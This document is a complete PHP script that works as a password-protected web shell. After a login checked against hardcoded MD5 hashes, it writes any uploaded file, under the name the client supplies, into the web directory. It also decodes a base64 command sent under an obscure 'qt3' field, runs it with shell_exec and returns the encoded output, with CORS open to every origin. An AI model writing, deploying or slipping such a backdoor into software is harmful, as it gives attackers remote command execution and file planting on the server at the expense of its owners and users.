<?php
session_start();

// Allow cross-origin requests from any domain (not secure for production)
// You should replace '*' with the specific domain(s) you want to allow.
header('Access-Control-Allow-Origin: *');

// Allow specific HTTP methods
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');

// Allow specific headers
header('Access-Control-Allow-Headers: Content-Type');

// Handle OPTIONS request (preflight request)
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    // This is to tell the browser that this server supports the OPTIONS request
    http_response_code(204);
    exit;
}

// Set content type to JSON
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Check if the request is a file upload or a JSON command execution
    if (isset($_FILES['file'])) {
        // Handle file upload
        $username = $_POST['username'] ?? '';
        $password = $_POST['password'] ?? '';
    } else {
        // Handle JSON command execution
        $input = json_decode(file_get_contents('php://input'), true);
        $username = $input['username'] ?? '';
        $password = $input['password'] ?? '';
    }

    // Validate username and password (dummy check for example)
    if (md5($username) == '5415c698537cb0202d3b4bd2cc688ade' && md5($password) == '53b0188d42683417a2de015d80ba85b3') {
        $_SESSION['loggedin'] = true;
        $_SESSION['username'] = $username;
    } else {
        $_SESSION['loggedin'] = false;
        echo json_encode(['error' => 'Invalid credentials.']);
        exit;
    }

    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES['file']['tmp_name'];
        $fileName = $_FILES['file']['name'];
        $uploadFileDir = './';

        $dest_path = $uploadFileDir . $fileName;

        if (move_uploaded_file($fileTmpPath, $dest_path)) {
            echo json_encode(['fileUploadMessage' => 'File is successfully uploaded.']);
            exit;
        } else {
            echo json_encode(['error' => 'There was an error moving the uploaded file.']);
            exit;
        }
    }

    if ($_SESSION['loggedin']) {
        if (isset($input['qt3'])) {
            $encodedCommand = $input['qt3'];
            $command = base64_decode($encodedCommand);
            $output = shell_exec($command);
            $encodedOutput = base64_encode($output);

            echo json_encode(['result' => $encodedOutput]);
        } else {
            echo json_encode(['error' => 'No command specified.']);
        }
    } else {
        echo json_encode(['error' => 'You are not logged in.']);
    }
} else {
    echo json_encode(['error' => 'Invalid request method.']);
}